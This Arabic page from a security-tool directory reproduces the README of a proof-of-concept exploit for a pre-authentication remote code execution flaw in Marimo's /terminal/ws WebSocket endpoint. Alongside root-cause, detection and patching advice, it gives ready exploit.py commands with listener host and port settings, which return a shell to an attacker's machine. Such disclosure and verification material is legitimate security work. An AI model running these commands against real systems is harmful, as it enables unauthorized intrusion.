Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39987 — إثبات مفهوم لاستغلال CVE-2026-39987، وهي ثغرة تنفيذ برمجيات عن بُعد (RCE) قبل المصادقة في نقطة نهاية WebSocket الطرفية الخاصة بـ Marimo. يوضح تنفيذ الأوامر دون مصادقة ويتضمن اختبارات تحقق للمثيلات المعرضة للخطر والمصححة. | Kitploit
أدوات/GitHubGitHub/th3purge/cve-2026-39987
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubth3purge/cve-2026-39987

CVE-2026-39987

إثبات مفهوم لاستغلال CVE-2026-39987، وهي ثغرة تنفيذ برمجيات عن بُعد (RCE) قبل المصادقة في نقطة نهاية WebSocket الطرفية الخاصة بـ Marimo. يوضح تنفيذ الأوامر دون مصادقة ويتضمن اختبارات تحقق للمثيلات المعرضة للخطر والمصححة.

عرض المستودع
1منذ 7س 18دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39987 Marimo ثغرة تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة


📋 معلومات الثغرة

الخاصيةالقيمة
CVECVE-2026-39987
المنتجMarimo
الثغرةتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة
ناقل الهجومالشبكة
المصادقةغير مطلوبة
تفاعل المستخدمغير مطلوب
CWECWE-306 — غياب المصادقة للوظائف الحرجة
الخطورةحرجة
الإصدار المُصحَّح0.23.0

CVE-2026-39987 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) قبل المصادقة تؤثر على Marimo، وهي بيئة دفاتر ملاحظات تفاعلية بلغة بايثون. تقع الثغرة في نقطة نهاية WebSocket الطرفية /terminal/ws.


🔍 السبب الجذري

تنشئ نقطة النهاية الطرفية المُعرَّضة للخطر PTY تفاعليًا بعد قبول اتصال WebSocket.

من الناحية المفاهيمية، يكون تدفق الطلب المُعرَّض للخطر كما يلي:

root@kitploit:~
عميل بعيد
     |
     | اتصال WebSocket
     v
/terminal/ws
     |
     | غياب التحقق من المصادقة
     v
تم قبول WebSocket
     |
     v
تم إنشاء PTY
     |
     v
صدفة تفاعلية

الحد الأمني المهم هو غياب التحقق من المصادقة.

يجب ألا تسمح نقطة النهاية التي تعرض تنفيذ أوامر عشوائية لعميل غير مصادَق بالوصول إلى منطق إنشاء PTY.


🎯 الغرض والنطاق

الهدف الأساسي

الغرض من هذا المشروع هو إظهار، في بيئة خاضعة للتحكم، غياب فرض المصادقة الذي يؤثر على نقطة نهاية WebSocket الطرفية في Marimo.

يمكن لفرق الأمن استخدام المشروع من أجل:

  • التحقق من تعرّض مثيلات Marimo الخاصة بهم
  • التحقق من فعالية التصحيحات الأمنية
  • توثيق الأثر الأمني المحتمل
  • تحسين الضوابط الدفاعية
  • دعم التحقق المصرَّح به من الثغرات

البيئات المصرَّح بها

  • مختبرات أمنية يملكها المختبر
  • أنظمة لديها تفويض كتابي صريح
  • بيئات التدريب والتعليم
  • اختبارات الاختراق والتقييمات الأمنية المصرَّح بها

تحذير: شغّل الـ PoC فقط ضد أنظمة تملكها أو لديك تفويض صريح لاختبارها.


🔗 سلسلة الاستغلال

يمكن تلخيص سلسلة الثغرة الكاملة على النحو التالي:

root@kitploit:~
1. يكتشف المهاجم مثيل Marimo مكشوفًا
                |
                v
2. يتصل المهاجم بـ /terminal/ws
                |
                v
3. لا يتم فرض المصادقة
                |
                v
4. يتم قبول اتصال WebSocket
                |
                v
5. يتم إنشاء طرفية PTY
                |
                v
6. يحصل المهاجم على تنفيذ الأوامر
                |
                v
7. تُنفَّذ الأوامر كعملية Marimo

يحدث الفشل الأمني الحرج في الخطوة 3.


📦 التثبيت

المتطلبات

root@kitploit:~
Python 3.7+
pip
وصول شبكي إلى الهدف المصرَّح به

التبعيات

root@kitploit:~
# التثبيت الأساسي
pip install websocket-client

# التثبيت الكامل
pip install websocket-client rich

التحقق

root@kitploit:~
python3 exploit.py --help

🚀 دليل الاستخدام

الصيغة الأساسية

root@kitploit:~
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>

أمثلة عملية

1. اختبار مختبر محلي

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. اختبار عن بُعد مصرَّح به

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. وضع التصحيح

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 مرجع المعاملات

المعاملالنوعالوصفالافتراضي
-u, --urlstringعنوان URL الأساسي لمثيل Marimo الهدفمطلوب
--lhoststringعنوان IP للمستمعمطلوب
--lportintمنفذ المستمع (1-65535)مطلوب
--timeoutintمهلة المستمع بالثواني15
--retriesintمحاولات إعادة اتصال WebSocket3
--retry-delayfloatالتأخير بين المحاولات2.0
--no-verify-sslflagتعطيل التحقق من شهادة SSLFalse
-v, --verboseflagتفعيل الإخراج التفصيليFalse
-s, --silentflagكتم الإخراجFalse

🔄 سير عمل الاستغلال

root@kitploit:~
المرحلة 1: التهيئة
    ↓ التحقق من المعاملات
    ↓ تكوين التسجيل

المرحلة 2: التحضير
    ↓ تهيئة المستمع
    ↓ إنشاء اتصال WebSocket

المرحلة 3: التحقق
    ↓ اختبار نقطة النهاية الطرفية
    ↓ التحقق من فرض المصادقة
    ↓ تسجيل سلوك الاتصال

المرحلة 4: الإثبات
    ↓ إنشاء جلسة اختبار مصرَّح بها
    ↓ التحقق من سياق تنفيذ الأوامر
    ↓ جمع أدلة التحقق

المرحلة 5: التنظيف
    ↓ استعادة حالة الطرفية
    ↓ إغلاق الاتصالات
    ↓ تحرير الموارد

🧪 اختبارات التحقق

سيناريوهات الاختبار

مثيل مُعرَّض للخطر

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

النتيجة المتوقعة: تقبل نقطة النهاية الطرفية المُعرَّضة للخطر الاتصال غير المصادَق.

مثيل مُصحَّح

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

النتيجة المتوقعة: يتم رفض الاتصال أو منعه بوسائل أخرى بواسطة ضوابط المصادقة.

اختبار المهلة

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

النتيجة المتوقعة: يتم الإبلاغ عن المهلة بشكل نظيف.


📈 إحصائيات الثغرة

root@kitploit:~
الخطورة:       حرجة (CVSS 9.3)
التعقيد:     منخفض
المصادقة: غير مطلوبة
الأثر:         تنفيذ التعليمات البرمجية عن بُعد
البروتوكول:       WebSocket
نقطة النهاية:       /terminal/ws
الإصدار المُصحَّح:  0.23.0

يصنّف ملف README المصدر المشكلة على أنها CVSS 9.3 حرجة ويحدد CWE-306، وWebSocket كبروتوكول، و/terminal/ws كنقطة النهاية المتأثرة.


🔎 الاكتشاف

تشمل المؤشرات المحتملة للاستغلال اتصالات WebSocket غير المتوقعة إلى:

root@kitploit:~
/terminal/ws

يجب على المدافعين التحقيق في:

  • اتصالات غير متوقعة إلى نقطة نهاية WebSocket الطرفية
  • عمليات صدفة غير متوقعة تم إنشاؤها بواسطة Marimo
  • عمليات فرعية مشبوهة
  • اتصالات صادرة غير متوقعة
  • الوصول إلى متغيرات بيئة حساسة
  • نشاط غير متوقع في نظام الملفات
  • أوامر غير معروفة نُفِّذت بواسطة عملية Marimo

🛡️ المعالجة

قم بترقية Marimo إلى إصدار مُصحَّح:

root@kitploit:~
0.23.0 أو أحدث

تشمل التوصيات الدفاعية الإضافية ما يلي:

  • لا تعرّض Marimo مباشرة للإنترنت العام إلا عند الضرورة.
  • ضع خدمات دفاتر الملاحظات خلف وكيل عكسي يتطلب مصادقة.
  • قيّد الوصول الشبكي للمستخدمين والشبكات الموثوقة.
  • شغّل Marimo بأقل الصلاحيات المطلوبة.
  • تجنب تركيب أدلة مضيفة حساسة داخل الحاويات.
  • قم بتدوير بيانات الاعتماد التي ربما كانت متاحة للمثيلات المخترقة.
  • راجع السجلات بحثًا عن نشاط مشبوه في /terminal/ws.
  • حقق في المثيلات التي يحتمل اختراقها بدلاً من افتراض أن التصحيح وحده يزيل ثبات المهاجم.

🔐 التصنيف الأمني

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
الخطورة:   حرجة
النوع:       RCE قبل المصادقة
البروتوكول:   WebSocket
نقطة النهاية:   /terminal/ws
المصادقة:       غير مطلوبة
المُصحَّح:      0.23.0

📄 الترخيص

للاستخدام المصرَّح به فقط

يُقدَّم هذا المشروع حصريًا من أجل:

  • اختبار الأمن المصرَّح به
  • البحث الأكاديمي
  • التحقق من الثغرات
  • التدريب الأمني
  • تطوير الأمن الدفاعي

الاستخدام غير المصرَّح به ممنوع منعًا باتًا وقد ينتهك القوانين المحلية والدولية المعمول بها.


⚠️ إخلاء المسؤولية

يُقدَّم هذا المشروع لأغراض البحث الأمني، والتحقق من الثغرات، والأغراض التعليمية.

لا تستخدم الـ PoC ضد أنظمة لا تملكها أو ليس لديك تفويض صريح لاختبارها.

المسؤولون عن الصيانة غير مسؤولين عن إساءة الاستخدام، أو الاختبار غير المصرَّح به، أو الضرر، أو فقدان البيانات، أو أي عواقب ناتجة عن استخدام هذا المشروع.

تنزيل الأداة